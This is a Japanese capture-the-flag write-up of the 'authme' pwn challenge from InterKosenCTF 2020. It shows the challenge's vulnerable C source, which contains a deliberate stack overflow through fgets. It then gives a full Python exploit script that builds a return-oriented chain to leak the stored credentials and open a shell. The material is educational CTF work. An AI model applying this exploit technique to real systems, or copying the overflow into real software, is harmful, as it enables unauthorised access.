# authme [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` `pwn` ## 概要 嬉しいことにソースコードが与えられている。 ```python= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int auth = 1; char username[0x20]; char password[0x20]; void init(void) { FILE *fp; /* read secret username */ if ((fp = fopen("./username", "r")) == NULL) { puts("[-] Please report this bug to the admin"); exit(1); } fread(username, sizeof(char), 0x20, fp); fclose(fp); /* read secret password */ if ((fp = fopen("./password", "r")) == NULL) { puts("[-] Please report this bug to the admin"); exit(1); } fread(password, sizeof(char), 0x20, fp); fclose(fp); } int main() { char buf[0x20]; init(); puts(" _ _ __ __ ______ "); puts(" /\\ | | | | | \\/ | ____|"); puts(" / \\ _ _| |_| |__ | \\ / | |__ "); puts(" / /\\ \\| | | | __| '_ \\| |\\/| | __| "); puts(" / ____ \\ |_| | |_| | | | | | | |____ "); puts(" /_/ \\_\\__,_|\\__|_| |_|_| |_|______|\n"); printf("Username: "); if (fgets(buf, 0x40, stdin) == NULL) return 1; if (strcmp(buf, username) != 0) auth = 0; printf("Password: "); if (fgets(buf, 0x40, stdin) == NULL) return 1; if (strcmp(buf, password) != 0) auth = 0; if (auth == 1) { puts("[+] OK!"); system("/bin/sh"); exit(0); } else { puts("[-] NG!"); exit(1); } } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); } ``` あきらかなオーバーフローが存在していて、Stack Canaryが存在しないのでリターンアドレス書き換えて常勝! に見えるけど、処理の最後までたどり着くとreturnではなくてexitで処理が終了されるので、リターンアドレスを書き換えても意味がない。 ## 解法 とみせかけて実はreturnしている場所があって、それは`fgets`に失敗した時。ということは、一度目の`fgets`でリターンアドレスを書き換えて、2度目のfgetsを失敗さえれば、RIPを奪うことができる。`fgets`が失敗(=NULLを返す)するのは - ファイルの終端に達して読めなかった時 - 何らかのエラーが発生した時 なので、2度目の入力の前にソケットを閉じてやれば`fgets`はNULLを返す。ただし、`close`で閉じてしまうとその後何も情報が得られなくなってしまい終了するので、ここでは`shutdown`を使う。これはTCPの全二重通信の送信、受信、あるいはその両方を閉じることができて、これで送信だけを閉じることで、`fgets`を失敗させつつ、こちらは向こうの出力を受け取ることができるようになる。 あとは `system("/bin/sh")` を呼べば……と思うが、これを読んだとしてもこちらから入力を与えられない。かといって`"/bin/sh"`以外の文字列を組み立てるのも難しそうにみえる。というわけでここで`username`と`password`に注目する。これらはファイルから読み込んだ値であり、常に一定で、グローバル変数なので、アドレスもわかる。 従って、 `puts(username);` `puts(password);` を実行してユーザ名とパスワードを手に入れた後、新しい接続でそれを入力してチェックを通過し、シェルを得れば良い ```python= from ptrlib import * sock = Socket("localhost", 9002) elf = ELF("./chall") payload = b"A" * 0x28 + p64(0x0000000000400b03) + p64(0x6020C0) + p64(elf.plt("puts"))[:-1] print(repr(payload), hex(len(payload))) sock.sendafter("Username: ", payload) sock.recvuntil("Password: ") sock.shutdown('stdin') username = sock.recvline() print(username) sock.close() sock = Socket("localhost", 9002) payload = b"A" * 0x28 + p64(0x0000000000400b03) + p64(0x6020E0) + p64(elf.plt("puts"))[:-1] print(repr(payload), hex(len(payload))) sock.sendafter("Username: ", payload) sock.recvuntil("Password: ") sock.shutdown('stdin') password = sock.recvline() sock.close() print(password) sock = Socket("localhost", 9002) sock.sendlineafter("Username: ", username) sock.sendlineafter("Password: ", password) sock.interactive() ``` payloadは、0x40バイトよりも小さくなるようにする(`fgets`はsize-1バイトを読むので) ## 感想 `fgets`に詳しくないと解くのに苦労して難しいけど、pwnerは`fgets`に詳しいので解けると思う。